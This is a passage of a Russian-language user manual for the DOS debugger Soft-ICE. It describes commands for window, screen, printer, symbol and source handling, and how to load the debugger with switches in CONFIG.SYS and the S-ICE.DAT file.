Команда SNAP сохраняет данные в буфере истории обратной трассировки. Если вы используете обратную трассировку, у вас будет конфликт со SNAP. В силу своей специфики, SNAP перезапишет информацию обратной трассировки, если вы выполните SNAP S, когда история команд находится в буфере обратной трассировки. Наоборот, если вы сохранили область при помощи SNAP, активация диапазона обратной трассировки перезапишет буфер SNAP.

Пример:

SNAP S 2000:0 4000:0

Эта команда сохраняет блок данных с 2000:0 по 4000:0 в буфере обратной трассировки Soft-ICE.

EMMMAP

EMMMAP -- Отображают карту распределения EMM.

Синтаксис:

Руководство по Soft-ICE (DOS) - 14.

EMMMAP

Комментарии:

Команда EMMMAP отображает все физические страницы, которые доступны для EMM памяти и страницы, которые в настоящее время отображены.

Обратите внимание:

Для использования этой функции должна быть активирована возможность Soft-ICE EMM. См. главу 8 для подробной информации о предоставлении возможности EMM.

Пример:

EMMMAP

Этот пример отображает текущее распределение EMM и следующей форме.

Физ. страница | Сег. адрес | Дескриптор/Страница(логическая) 00 ¦ D000 ¦ FFFF 01 ¦ D400 ¦ 0001/0000 02 ¦ D800 ¦ 0001/0001 03 ¦ DC00 ¦ 0001/0002.

В этом примере, физическая страница 0 размещена в D000 и не отображается. Физическая страница 1 размещена в D400 и имеет дескриптор 1, в нее отображается страница 0. Физическая страница 2 размещена в D800 и имеет дескриптор 1, в нее отображается страница I. Физическая страница 3 размещена в DC00 и имеет дескриптор 1, в нее отображается страница 2.

5.7 Команды Работы с окнами

Команды:

WR -- Переключает окно регистров WC -- Переключает/устанавливает размер окна кода WD -- Переключает/устанавливает размер окна данных EC -- Войти/выйти из окна кода . -- Найти местоположение текущей команды.

Soft-ICE может выводить окна трех типов: регистров, данных и кода. Любое из этих окон может быть активизировано или деактивировано в любое время. Окна данных и кода могут иметь переменный размер; окно регистров фиксировано в размере. Окна всегда остаются в фиксированном порядке. Начиная с верхней части экрана порядок следующий : окно регистров, окно данных, затем окно кода.

WR

WR -- Переключает окно регистров.

Синтаксис:

WR

Комментарии:

Команда визуализирует окно регистров, если оно в текущий момент невидимо. Если окно регистров в текущий момент видимо, WR удаляет окно регистров.

Окно регистров отображает набор регистров 8086 и флаги процессора.

Функция, заданная по умолчанию: F2.

WC

WC -- Переключает/устанавливает размер окна кода.

Синтаксис:

WC [размер-окна]

Размер-окна -- десятичное число между единицей и 21.

Комментарии:

Если размер-окна не указан, эта команда переключает окно кода. Если оно не было видимо, оно станет видимым, и если оно было видимо, оно будет удалено.

Если указан размер-окна, окно кода будет изменено или, если оно не было видимо, оно станет видимым с определенным размером.

Обратите внимание:

Если вы хотите переместить курсор в окно кода, используйте команду EC. См. описание команды EC для более подробной информации.

Пример:

WC 12

Если окно кода не присутствует, то создается окно кода высотой 12 строк. Если окно кода в текущий момент - на экране, его высота изменяется на 12 строк.

WD

WD -- Переключает/устанавливает размер окна данных.

Синтаксис:

WD [размер-окна]

Размер-окна -- десятичное число между единицей и 21.

Комментарии:

Если размер-окна не указан, эта команда переключает окно данных. Если оно не было видимо, оно станет видимым и если оно было видимо, оно будет удалено.

Если указан размер-окна, окно кода будет изменено или, если оно не было видимо, оно станет видимым с определенным размером.

Пример:

WD 1

Если окно данных не присутствует, то создается окно данных высотой в одну строку. Если окно данных в текущий момент - на экране, его высота изменяется на одну строку.

EC

EC -- Войти/выйти из окна кода.

Синтаксис:

EC

Комментарии:

Команда EC переключает расположение курсора между окном кода и окном команд. Если курсор был в окне команд, он перемещается в окно кода и если курсор был в окне кода, он перемещается в окно команд.

Когда курсор находится в окне кода, становятся доступными несколько опций, которые намного упрощают отладку. Опции:

* Точки останова типа point-and-shoot Точки останова типа point-and-shoot устанавливаются командой BP. Если в команде BPX параметры не указаны, в ячейку памяти, на которую указывает курсор в окне кода, будет установлена точка останова на выполнение. Курсор должен быть в строке, которая содержит код (переключите окно кода в смешанный режим, если вы не уверены). Заданная по умолчанию функциональная клавиша для BPX - F9.

* Исполнение до строки курсора Вы можете устанавливать временную точку останова в месте положения курсора выполнять команду HERE. Курсор должен находиться в строке, которая содержит код (переключите окно кода в смешанный режим, если вы не уверены). Заданная по умолчанию функциональная клавиша для HERE - F7.

* Прокрутка окна кода Окно кода может быть пролистано только когда курсор находится в окне кода. Клавиши прокрутки (стрелка "ВВЕРХ", стрелка "ВНИЗ", PageUp и PageDown) переопределяются, когда курсор - в окне кода. Когда курсор находится в окне кода, клавиши прокрутки делают следующее:

ВВЕРХ -- Прокрутка окна кода вверх на одну строку ВНИЗ -- Прокрутка окна кода вниз на одну строку PageUp -- Прокрутка окна кода на один экран PageDn -- Прокрутка окна кода один экран.

Обратите внимание:

Для того чтобы команда EC работала, Окно кода должно быть видимо. Заданная по умолчанию функциональная клавиша: F6.

.

. -- Найти местоположение текущей команды.

Синтаксис:

.

Комментарии:

Когда окно кода видимо, команда . делает видимой текущую строку исходного текста или текущую команду.

5.8 Команды Настройки Отладчика

Команды:

PAUSE -- Пауза после каждого экрана ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE FKEY -- Отображает и редактирует назначение функциональных клавиш BASE -- Устанавливает/отображает текущее основание системы счисления CTRL-P -- Выводит сеанс на принтер Print-Screen -- Печать содержимого экрана PRN -- Устанавливает порт для вывода на принтер.

PAUSE

PAUSE -- Пауза после каждого экрана.

Синтаксис:

PAUSE [ON | OFF]

Комментарии:

PAUSE управляет паузами экрана в конце каждой страницы. Если PAUSE включен, вы должны нажать любую клавишу прежде, чем информация в окне будет прокручена. Подсказка отображается в строке состояния в нижней части окна.

Если параметры не указаны, отображается текущее состояние PAUSE.

Значение по умолчанию - PAUSE ON.

Пример:

PAUSE ON

Эта команда указывает, что последующие команды, отображающие информацию в окне, будут ожидать, пока вы не нажмете клавишу, до прокрутки в окне новой информации.

ALTKEY

ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE.

Синтаксис:

ALTKEY [АLТсимвол] | [СТRLсимвол] | [SYSREQ]

Символ -- любой символ (A - Z).

Комментарии:

Команда ALTKEY позволяет изменять комбинацию клавиш для вызова Soft-ICE. Комбинация клавиш изменяется на CTRL + символ, ALT + символ или клавишу SysRq.

Иногда вы можете использовать программу, которая конфликтует с комбинацией клавиш CTRL D, вызывающей окно Soft-ICE. Один из способов обойти эту возможную проблему - использование команды ALTKEY для изменения комбинации клавиш. Другой способ - добавить клавишу SHIFT к текущей комбинации. Soft-ICE не отвечает на эту комбинацию клавиш и позволяет ей вызвать вашу программу. Например, если резидентная программа, которую вы используете, вызывается комбинацией клавиш CTRL D, попробуйте использовать комбинацию CTRL SHIFT D для вызова вашей резидентной программы. На некоторых клавиатурах, для генерации системного запроса вы должны одновременно нажать клавиши ALT и prtsc. Надо действовать с осторожностью, чтобы случайно не был распечатан экран.

Если параметры не указаны, отображается текущее состояние комбинации клавиш.

Заданная по умолчанию комбинация клавиш - CTRL D.

Пример:

ALTKEY ALT Z

Эта команда указывает, что комбинация клавиш ALT Z будет теперь использоваться для вызова окна Soft-ICE.

FKEY

FKEY -- Отображает и редактирует назначение функциональных клавиш.

Синтаксис:

FKEY [название-функциональной-клавиши строка]

Название-функциональной-клавиши -- F1, F2 ... F12.

Руководство по Soft-ICE (DOS) - 15.

Строка -- Строка состоит из любых допустимых для Soft-ICE команд и специальных символов ^ (каретка) и ; (точка с запятой). Знак ^, помещается в строку, чтобы сделать команду невидимой. Знак ; помещается в строку, чтобы обозначить возврат каретки.

Комментарии:

Команда FKEY используется в командной строке для назначения функциональной клавише строки команд. Функциональной клавише может быть назначена любая строка команд, которая может быть напечатана в Soft-ICE.

Если параметры не указаны, отображаются текущие назначения функциональных клавиш.

Для отмены назначения определенной функциональной клавиши, используйте команду FKEY с параметрами: название-функциональной-клавиши с пустой строкой.

Функциональные клавиши могут также быть объявлены заранее в файле определений S-ICE.DAT. Для подробной информации об объявления функциональных клавиш в файле определений, обратитесь к разделу 6.4.

Использование символов возврата каретки в строке назначения функциональной клавиши позволяет назначить функциональной клавише ряд команд. Возврат каретки обозначается символом ; (точка с запятой).

Если Вы помещаете знак ^ (shift 6) перед определением функциональной клавиши, последующая команда будет невидима. Команда будет функционировать как обычно, но вся информация, отображаемая в окне команд (включая сообщения об ошибках) будет подавляться. Невидимый режим полезен, когда команда изменяет информацию в окне (кода, регистров или данных) но вы не хотите помех в окне команд.

Когда функциональная клавиша сделана невидимой при помощи знака ^, она может использоваться во время ввода других команд без воздействия на их выполнение. Например, если вы используете заданное по умолчанию назначение для F2, вы можете переключать окно регистров клавишей F2, даже если вы частично ввели вашу следующую команду.

Обратите внимание:

У Soft-ICE теперь есть файл определений - S-ICE.DAT. Вы можете поместить назначения функциональных клавиш в этот файл и функциональные клавиши будут автоматически назначены, при загрузке Soft-ICE. Вот синтаксис для назначения функциональных клавиш в файле конфигурации:

Название-функциональной-клавиши = "строка".

При назначении функциональной клавише строки команд в S-ICE.DAT, строка должна быть заключена в двойные кавычки.

Примеры командной строки:

FKEY F2 ^WR;

Этот пример назначит команду переключения окна регистров клавише F2. Знак ^ делает функцию невидимой и знак ; завершает функцию возвратом каретки. Клавиша F2 активизирует или деактивирует окно регистров и даже может быть вызвана при вводе другой команды.

FKEY F1 "G CS:120; R; G CS:"

Этот пример показывает, что одной функциональной клавише может быть назначено несколько команд и что могут быть назначены частичные команды для их завершения пользователем. После того, как эта команда введена, нажатие клавиши F1 вызовет выполнение программы до достижения ячейки CS:120, вывод на экран регистров, затем начало выполнения команды G для ее завершения пользователем.

FKEY F1 WD 3;D DS:100;

Этот пример назначит ряд команд клавише F1. Функция видима и заканчивается возвратом каретки. Клавиша F1 изменит высоту окна данных на три строки и установит начало дампа в DS:100. Пример S-ICE.DAT:

F1 = "WR;WD 2;WC 10;"

Если эта строка помещена в S-ICE.DAT, при загрузке Soft-ICE эта будет строка назначена клавише F1. Нажатие F1 при работе в Soft-ICE переключит окно регистров, создаст окно данных высотой 2 строки и окно кода высотой 10. Для подробной информации относительно назначения определений функциональным клавишам в S-ICE.DAT, обратитесь к главе 6.

BASE

BASE -- Устанавливает/отображает текущее основание системы счисления.

Синтаксис:

BASE [10 | 16]

Комментарии:

Команда BASE устанавливает основание системы счисления в 10 или 16. Основание 10 ограничено в использовании в узком окне из-за ограничений ширины окна. Также ограничивается количество информации, отображаемой в некоторых командах в режиме полной ширины экрана.

Когда текущее основание системы счисления - 10, все числа и адреса, вводимые и отображаемые Soft-ICE десятичными. Когда основание системы - 16, все числа и адреса, вводимых в Soft-ICE являются шестнадцатеричными, за исключением: * Номеров строк исходного текста * Координаты экрана и размеры в команде WIN.

Эти исключения всегда вводятся и отображаются как десятичные числа.

Заданное по умолчанию основание системы счисления - 16.

Пример:

BASE 16

Этот пример устанавливает текущее основание системы счисления в 16.

CTRL-P

CTRL-P --- Выводит сеанс на принтер.

Синтаксис:

CTRL-P

Комментарии:

Когда нажаты клавиши CTRL и P, вся последующая информация, отображаемая в окне команд, также посылается на принтер. Для отмены вывода сеанса на принтер, повторно нажмите клавиши CTRL и P.

Когда вы посылаете много информации на принтер, используя CTRL-P, вы может пожелать отменить команду PAUSE и позволить информации пролистываться в окне без нажатия клавиши.

Print-Screen

Print-Screen - Печать содержимого экрана.

Синтаксис:

Print-Screen

Комментарии:

Нажатие клавиши print-screen производит дамп экрана на принтер. Вся информация с экрана посылается на принтер.

Если вы хотите распечатать карту памяти или информацию помощи, обычно намного быстрее использовать CTRL-P, чем Print-Screen. Это потому что Print-Screen печатает все символы на экране, включая рамки.

PRN

PRN --- Устанавливает порт для вывода на принтер.

Синтаксис:

PRN [LPTx | COMx]

X -- десятичное число между 1 и 4.

Комментарии:

Команда PRN позволяет вам переслать вывод от команд CTRL-P и Print-Screen в другой порт принтера.

Если параметры не указаны, PRN отображает текущий порт, назначенный для принтера.

Пример:

PRN COM 1

Эта команда вызывает перевод вывода от команд CTRL-P и Print-Screen в порт COM 1.

5.9 Команды Управления Экраном

Команды:

FLASH -- Восстанавливает экран при выполнении команд P и T FLICK -- Снижение нежелательного мерцания экрана ("снега") WATCHV -- Включает отслеживание видеорежимов RS -- Восстанавливает экран программы CLS -- Очищает окно ALTSCR -- Изменяет экран на альтернативный WIN -- Изменяет размер окна Soft-ICE.

FLASH

FLASH -- Восстанавливает экран при выполнении команд P и T.

Синтаксис:

FLASH [ON | OFF]

Комментарии:

Команда FLASH позволяет вам указывать, будет ли экран восстанавливаться в течение любых команд трассировки или программных шагов. Если вы укажете, что экран должен восстанавливаться, он восстанавливается за краткий период времени пока выполняется команда P или T. Эта возможность необходима для отладки участков кода, осуществляющих доступ к видеопамяти.

Если команда P выполняется для обращения или прерывания, экран всегда будет восстанавливаться, потому что вызываемая подпрограмма может записывать на экран.

Если параметры не указаны, отображается текущее состояние FLASH.

Значение по умолчанию - FLASH OFF.

Пример:

FLASH ON

Эта команда включает режим FLASH. Экран будет восстанавливаться в течение любых последующих команд P или T.

FLICK

FLICK -- Снижение нежелательного мерцания экрана ("снега").

Синтаксис:

FLICK [ON | OFF]

Комментарии:

Некоторые типы видеоплат требуют ожидания горизонтального или вертикального обратного хода перед выводом символов. Если запись в видеопамять сделана произвольно, при отображении символов появится мерцание. Если при использовании окна Soft-ICE на вашем экране происходит мерцание, вы должны включить FLICK.

На некоторых платах EGA при выходе из Soft-ICE цвета будут восстановлены некорректно. Это - проблема виртуализации видео EGA. Порт 3DA является видеопортом для двух целей. Первая - опрос старыми программами CGA 3DA для hsync и vsync. Это позволяет им избежать "снега" при выводе на некоторых старых платах с контроллером CGA. Вторая - сброс регистра-защелки палитры на платах EGA. В Soft-ICE есть алгоритм, позволяющий избежать необходимости постоянно опрашивать этот порт, которая замедлила бы старые программы, которые предназначены для CGA. Однако возможно случайное возникновение обстоятельств, когда этот алгоритм не сработает. Если вы используете Soft- ICE на экране EGA и вы заметили, что цвета восстанавливаются некорректно, включите FLICK и Soft-ICE будет опрашивать порт 3DA, разрешая проблему.

Когда включен режим FLICK, обновление экрана будет замедлено.

Если параметр не указаны, отображается текущее состояние FLICK.

Значение по умолчанию - FLICK OFF.

Пример:

FLICK ON

Эта команда включает режим FLICK. Это заставляет Soft-ICE ожидать горизонтального или вертикального обратного хода перед выводом символов.

WATCHV

Руководство по Soft-ICE (DOS) - 16.

WATCHV -- Включает отслеживание видеорежимов.

Синтаксис:

WATCHV [ON | OFF]

Комментарии:

Команда WATCHV позволяет вам указать, как Soft-ICE должен отслеживать видеопорты. Обычно, Soft-ICE отслеживает видео порты только после выполнения команды INT 10, которая переключает адаптер в графический видеорежим. Некоторые программы не используют INT 10 для переключения режимов. В этих случаях, если WATCHV выключен, у Soft-ICE могут быть проблемы с корректным сохранением и восстановлением экрана. Включение WATCHV заставит Soft-ICE постоянно отслеживать видео порты.

Включите WATCHV, если вы заметите, что Soft-ICE некорректно обрабатывает ваш экран, или если некорректно восстанавливается курсор. Активизация WATCHV может воздействовать на эффективность в некоторых видеорежимах.

Если параметры не указаны, отображается текущее состояние WATCHV.

Значение по умолчанию - WATCHV OFF.

Пример:

WATCHV ON

Эта команда включает режим WATCHV. Это заставит Soft-ICE отслеживать дополнительные видео порты в целях виртуализации.

RS

RS -- Восстанавливает экран программы.

Синтаксис:

RS

Комментарии: Команда RS позволяет вам временно восстанавливать экран программы. Окно Soft-ICE исчезает, пока не будет нажата любая клавиша.

Эта возможность полезна при отладке графических программ, часто модифицирующих экран. При вызове Soft-ICE, он возвращается в текстовый режим. Использование команды RS временно восстанавливает графический экран.

Пример:

RS

CLS

CLS -- Очищает окно.

Синтаксис:

CLS

Комментарии:

Команда CLS очищает окно Soft-ICE и перемещает подсказку и курсор в левый верхний угол окна.

Пример:

CLS

ALTSCR

ALTSCR -- Изменяет экран на альтернативный.

Синтаксис:

ALTSCR [ON | OFF]

Комментарии:

Команда ALTSCR позволяет вам переназначить вывод Soft-ICE из вашего экрана, заданного по умолчанию, на альтернативный экран. Эта возможность полезна, например, когда вы хотите отлаживать графическую программу, без необходимости переключения между окном Soft-ICE и графическим экраном.

ALTSCR требует от системы двух подсоединенных мониторов. Альтернативный монитор должен быть в текстовом режиме, который является заданным по умолчанию для мониторов.

Значение по умолчанию - ALTSCR OFF.

Пример:

ALTSCR ON

Эта команда переназначает экранный вывод на альтернативный монитор.

WIN

WIN -- Изменяет размер окна Soft-ICE.

Синтаксис:

WIN [N | W] [строка-начала длина [столбец-начала]]

N -- Когда задан N, окно будет установлено в узкий режим: 46 символов. W -- Когда задан W, окно будет установлено в полноэкранный режим. строка-начала -- Число от 0 до 17 указывающий строку где начинается отображение окна. длина -- Число от 8 до 25 указывающее, желаемую высоту окна в строках. столбец-начала -- Позиция столбца левой стороны узкого окна. Строка-начала и столбец-начала определяют левый верхний угол узкого окна. Столбец-начала игнорируется, если применяется к широкому окну (во весь экран).

Комментарии:

Команда WIN позволяет вам изменять ширину и высоту окна Soft-ICE на экране.

Если параметры не указаны, эта команда переключает окно между широким и узким режимом вывода на экран.

Если в команде WIN указан только параметр N или W, размер окна будет изменен на запрошенную ширину при текущей высоте. Если число строк плюс начальный номер строки больше чем 25, окно растягивается до нижней части экрана.

Значение по умолчанию - узкий режим WIN.

Примеры:

WIN N 4 9 30

Эта команда заставляет окно выводиться со строки 4 и столбца 30 и быть 9 строк высоты и 46 символов ширины.

WIN

Эта команда переключает ширину окна из текущего состояния (широкое или узкое) в противоположное состояние.

WIN W 10 8

Эта команда заставляет окно начинаться в строке 10, быть 8 строк высоты и иметь ширину экрана.

5.10 Команды Работы с Символами и Строками Исходного Текста

Команды:

SYM -- Вывести/установить символ SYMLOC -- Переместить базу символа SRC -- Переключает между исходным текстом, смешанным режимом и кодом FILE -- Изменить/вывести текущий исходный текст SS -- Найти строку в текущем файле с исходным текстом.

SYM

SYM -- Вывести/установить символ.

Синтаксис:

SYM [имя-символа [значение]]

Имя-символа -- Допустимое имя символа. Имя символа может заканчиваться знаком * (звездочкой). Это позволяет искать, если известна только первая часть имени символа. Знак , (запятая) может использоваться как знак-маска вместо знака в имени символа.

Значение -- Это - значение типа СЛОВО, которое используется если вы хотите присвоить символу определенное значение.

Комментарии:

Команда SYM позволяет отображать и устанавливать символы. Если SYM введена без параметров, отображаются все символы. Значение каждого символа отображается рядом с именем символа.

Если имя символа указано без значения, то отображаются имя символа и его значение. Если имя символа не было найдено, ничего не выводится.

Команда SYM часто полезна для нахождения имени символа, когда помните только часть имени. Для поиска символов доступны два метода поиска по маске. Если имя символа заканчивается знаком *, то выводятся все символы, которые совпадают с фактическими буквами, указанными до знака *, независимо от завершающих букв. Если знак , используется вместо определенной буквы в имени символа, то этот знак является символом- маской.

Если указано значение, всем символам, соответствующим имени-символа, присваивается указанное значение. Все символы имеют значения типа СЛОВО.

Примеры:

SYM FOO*

Отображаются все символы, которые начинаются с FOO.

SYM FOO* 6000

Всем символам, которые начинаются с FOO, присваивается значение 6000.

SYMLOC

SYMLOC -- Переместить базу символа.

Синтаксис:

SYMLOC адрес-сегмента

Комментарии:

Команда SYMLOC перемещает сегментные компоненты всех символов относительно указанного адреса-сегмента. Эта функция необходима при отладке загружаемых драйверов устройств или других программ, которые не могут быть непосредственно загружены LDR.EXE.

При настройке для загружаемого драйвера устройства, используйте значение базы адреса драйвера, найденного в команде MAP. При настройке для .EXE-программы, значение должно быть на 10H больше чем найденная база в команде MAP. При настройке для .COM-программы, используйте адрес базового сегмента, найденного в команде MAP.

Команда MAP отобразит, по крайней мере, два входа для каждой программы. Первый - обычно среда, а второй - обычно сама программа. Базовый адрес программы - значение перемещения.

Пример:

SYMLOC 1244 + 10

Это переместит все сегменты в таблице идентификаторов относительно 1244. + 10 используется, чтобы переместить TSR бывший первоначально .EXE-файлом. Если это - .COM-файл + 10 не обязательно.

SRC

SRC -- Переключает между исходным текстом, смешанным режимом и кодом.

Синтаксис:

SRC [?]

Комментарии:

Команда SRC переключает между режимом исходного текста, смешанным режимом и режимом кода в окне кода.

Если введено SRC ?, отображается текущее состояние.

Пример:

SRC

Эта команда изменяет текущий режим окна кода. Если режим был режимом исходного текста, он становится смешанным. Если режим был смешанным, он становится режимом кода. Если режим был режимом кода, он становится режимом исходного текста.

Руководство по Soft-ICE (DOS) - 17.

Функциональная клавиша по умолчанию: F3.

FILE

FILE -- Изменить/вывести текущий исходный текст.

Синтаксис:

FILE [имя файла]

Комментарии:

Если имя файла указано, этот файл становится текущим файлом и начало файла выводится в окне кода. Если имя не указано, выводится имя текущего файла (если он есть) с исходным текстом.

Команда FILE часто полезна при установке точки останова в строке, которая не ассоциирована ни с одним публичным символом. Используйте FILE, для вызова желаемого файла в окно кода, используйте команду SS для поиска определенной строки, переместите в нее курсор и введите BPX для установки точки останова.

Обратите внимание:

Для команды FILE доступны только файлы с исходным текстом, загруженные в дополнительную память (XMS) программой LDR.EXE.

Пример:

FILE MAIN.C

Если MAIN.C был загружен LDR.EXE, эта команда выводит его в окно кода, начиная со строки 1.

SS

SS -- Найти строку в текущем файле с исходным текстом.

Синтаксис:

SS [номер-строки] ['строка']

Номер-строки -- десятичное число строка -- символьная строка, заключенная в кавычки. Кавычки могут быть как одиночными так и двойными.

Комментарии:

Команда SS ищет в текущем файле с исходным текстом указанную символьную подстроку. Если имеется соответствие, строка, в которой была найдена подстрока будет выведена как верхняя строка в окне кода.

Поиск начинается с указанного номера строки. Если номер строки не указан, поиск начинается с верхней строки, отображаемой в окне кода.

Если параметры не указаны, продолжается поиск предыдущей указанной строки.

Обратите внимание:

Окно кода должно быть видимо и быть в режиме исходного текста до использования команды SS.

Пример:

SS 1 'if (i = = 3)'

В текущем файле с исходным текстом ищется, начиная со строки 1, подстрока 'if (i = = 3)'. Строка, содержащая следующее совпадение с подстрокой, становится верхней отображаемой строкой в окне кода.

РАЗДЕЛ III -- Поддерживаемые Возможности

ГЛАВА 6

6.1 Введение

Программный файл Soft-ICE (S-ICE.EXE) может быть загружен как загружаемый драйвер устройства в CONFIG.SYS или как программа из командной строки DOS. Для получения всей силы Soft-ICE, он должен быть загружен как драйвер устройства в CONFIG.SYS. Однако, могут иметься обстоятельства, когда вы можете захотеть запустить Soft-ICE из командной строки DOS или пакетного файла, типа:

* У вас нет расширенной памяти в вашей системе. Soft-ICE можно загрузить как загружаемый драйвер устройства, только если у вас есть расширенная память. * Вы хотите занять НОЛЬ байт обычной памяти. При загрузке как драйвер устройства, Soft-ICE занимает приблизительно 2КБ обычной памяти. * Вам только иногда необходимо использовать Soft-ICE и нет никаких других программ, использующих расширенную память.

В некоторых случаях вам могут быть нужны некоторые возможности, требующие загрузки Soft-ICE из CONFIG.SYS, но не нужно, чтобы Soft-ICE был постоянно резидентным. В этом случае Soft-ICE может быть загружен из CONFIG.SYS, чтобы зарезервировать расширенную память, и потом отключен переключателем /UN, пока не потребуется Soft-ICE. См. часть 6.3.1 для большей информации относительно переключателя /UN.

6.2 Загрузка из командной строки DOS

Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной строки DOS. Если вы будете использовать Soft-ICE как автономный отладчик, рекомендуется загружать Soft-ICE из файла CONFIG.SYS.

Чтобы загрузить Soft-ICE из командной строки DOS, введите.

S-ICE

В системах без расширенной памяти, Soft-ICE загружается в самые высокие возможные адреса памяти. Тогда память, используемая Soft-ICE "отрезается", становясь невидимой для программ DOS. Так как общая память, видимая для DOS и ее программ, уменьшается после загрузки Soft-ICE, рекомендуется загружать Soft-ICE до загрузки любых TSR-программ.

В системах с расширенной памятью вы можете загружать Soft-ICE из командной строки DOS, только если вы не используете расширенную память для чего-либо еще (напр. VDISK, CACHE, HIMEM...). Когда вы загружаете Soft-ICE из командной строки или из пакетного файла, Soft-ICE предупредит вас, выдав специальное сообщение. Это предупреждение только напоминает вам, что Soft-ICE перезапишет старшую область расширенной памяти, когда загрузится. Вы можете подавить это предупреждающее сообщение при помощи опции EXTENDED в файле конфигурации Soft-ICE. Для большей информации относительно опции EXTENDED, см. часть 6.4.1.

6.3 Загрузка Soft-ICE как Загружаемого Драйвера Устройства

Чтобы использовать все возможности Soft-ICE, вы должны загрузить Soft-ICE как загружаемый драйвер устройства в вашем файле CONFIG.SYS. При этом становятся доступными следующие возможности:

* Сосуществование с другим программным обеспечением, использующим расширенную память. Загрузка как драйвера устройства позволяет Soft-ICE управлять расширенной памятью, так что вы можете запускать Soft-ICE с программами, использующими расширенную память, такими как VDISK, CACHE и HIMEM. * Отладка на уровне символов и исходного текста. Загрузка как драйвера устройства позволяет Soft-ICE разместить в расширенный памяти буфер для информации о символах и исходном тексте. * Диапазоны обратной трассировки и команда SNAP. Загрузка как драйвера устройства позволяет Soft-ICE разместить в расширенный памяти буфер для информации обратной трассировки. Этот буфер также используется для команды Soft-ICE, SNAP. * Активизация возможностей Soft-ICE по EMM 4.0 * Запуск Soft-ICE с MagicCV или MagicCVW.

Заметьте:

Загруженный, как драйвер устройства в CONFIG.SYS, Soft-ICE резервирует старшую область расширенной памяти для себя и связанных с ним компонент, следовательно не может возникнуть конфликтов памяти. S-ICE.EXE должен быть загружен в CONFIG.SYS до любого другого драйвера, резервирующего расширенную память при загрузке (напр. VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает наилучшим образом, если он - первый загружаемый драйвер устройства в CONFIG.SYS.

6.3.1 Переключатели Загрузки Soft-ICE

После S-ICE.EXE в CONFIG.SYS может быть указан один или более переключателей загрузки. Эти переключатели позволяют вам указывать, как Soft-ICE будет резервировать расширенную память. Все переключатели должны начинаться символом / . Есть следующие переключатели загрузки:

* /EXT XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для других программ DOS, использующих расширенную память (напр. VDISK, CACHE, HIMEM,...). Если переключатель.

/EXT не указан, то расширенная память, не используемая Soft-ICE и связанными с ним компонентами будет оставлена, как стандартная расширенная память, но ее количество нельзя гарантировать. Переключатель /EXT полезен, потому что иногда трудно точно определить, сколько памяти используется Soft-ICE и связанными с ним компонентами. Использование переключателя /EXT будет гарантировать, что указанное количество будет доступно для других программ, использующих расширенную память.

* /SYM XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для символов и исходного текста. Если XXXX не указано, то вся остающаяся расширенная память используется для символов. Должно быть зарезервировано достаточно памяти для вашего файла .SYM и всех исходных текстов. Для большей информации об использовании символов и исходного текста, см. главу 7.

* /TRA XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для буфера истории обратной трассировки. Этот буфер используется для диапазонов обратной трассировки и для команды SNAP. Если XXXX не указано, то для буфера автоматически резервируется 10КБ расширенной памяти. Если вы вообще не хотите резервировать память для буфера обратной трассировки, используйте /TRA 0. Для большей информации об использовании диапазонов обратной трассировки, см. главу 9.

* /MCV XXX -- Сообщает S-ICE.EXE зарезервировать XXX килобайт расширенной памяти для MagicCV или MagicCVW. Минимальный объем расширенной памяти, который вы можете указать - 280КБ и максимум - 620КБ. Если XXX не указано, S-ICE.EXE зарезервирует остающуюся память, между 280КБ и 620КБ. См. главу 10 для большей информации относительно работы Soft-ICE с MagicCV или MagicCVW.

* /EMM XXXX -- Сообщает S-ICE.EXE преобразовать XXXX килобайт расширенной памяти в отображаемую память, соответствующую EMM 4.0. Если указано XXXX, то вся остающаяся память используется как отображаемая. См. главу 8 для большей информации Относительно поддержки отображаемой памяти.

* /UN -- Сообщает S-ICE.EXE перейти в защищенный режим, зарезервировать необходимую расширенную память, затем выйти из защищенного режима и выгрузиться. Этот переключатель должен использоваться, когда вы загружаете S-ICE.EXE как загружаемый драйвер устройства, но не хотите, чтобы ваша система оставалась в защищенном режиме. Этот переключатель зарезервирует память для Soft-ICE, и вы должны выполнить S-ICE.EXE из командной строки DOS, когда вы будете готовы использовать Soft-ICE.

Soft-ICE резервирует расширенную память в следующем порядке, независимо от порядка указанных переключателей:

Резервируется приблизительно 120КБ для S-ICE.EXE. Резервируется память для переключателя /EXT, если он указан. Резервируется память для переключателя /SYM, если он указан. Резервируется память для переключателя /TRA, если он указан. Если он не указан, по умолчанию резервируется 10КБ для буфера обратной трассировки. Резервируется память для переключателя /MCV, если он указан. Резервируется память для переключателя /EMM, если он указан.

Если при попытке зарезервировать память для переключателя в вышеупомянутой последовательности, доступной памяти не хватает, S-ICE.EXE делает следующее:

1. Остающаяся расширенная память резервируется для переключателя, обрабатываемого, когда не хватило памяти. 2. Память не будет резервироваться для оставшихся переключателей.

Заметьте:

Если присутствует переключатель /MCV или /EMM, резервируются дополнительные 64КБ расширенной памяти для буфера поддержки DMA.

Переключатели могут быть указаны в любом порядке после DEVICE = S-ICE.EXE. Пример:

DEVICE = S-ICE.EXE /TRA50 /EMM 500 /SYM 2048

Если доступны четыре мегабайта расширенной памяти, этот пример зарезервирует приблизительно 120КБ для Soft-ICE, 2 мегабайта для символов, 50КБ для буфера истории обратной трассировки, 500КБ для отображаемой памяти и оставит приблизительно 1,3 мегабайта для других программ расширенной памяти. Заметьте, что Soft-ICE загрузится в самую высокую область расширенной памяти, оставив оставшуюся память, начиная с 100000H (мегабайтовая отметка).

Руководство по Soft-ICE (DOS) - 18.

6.4 Файл Инициализации Soft-ICE, S-ICE.DAT.

У Soft-ICE есть несколько опций загрузки. Эти опции указываются размещением специальных команд в файле инициализации, называющемся S-ICE.DAT. S-ICE.DAT - текстовый ASCII-файл, который Soft-ICE читает при загрузке. Этот файл может содержать назначения функциональных клавиш, строку автостарта и различные опции конфигурации. Файл может быть создан и отредактирован любым текстовым редактором DOS. При загрузке Soft-ICE из командной строки, S-ICE.DAT должен находиться в текущем каталоге или в каталоге, доступном через вашу текущую переменную PATH. Когда Soft-ICE загружается как драйвер устройства в CONFIG.SYS, S-ICE.DAT должен быть в том же самом каталоге, где находится S-ICE.EXE.

Есть три категории команд, которые могут быть включены в файл инициализации S-ICE.DAT:

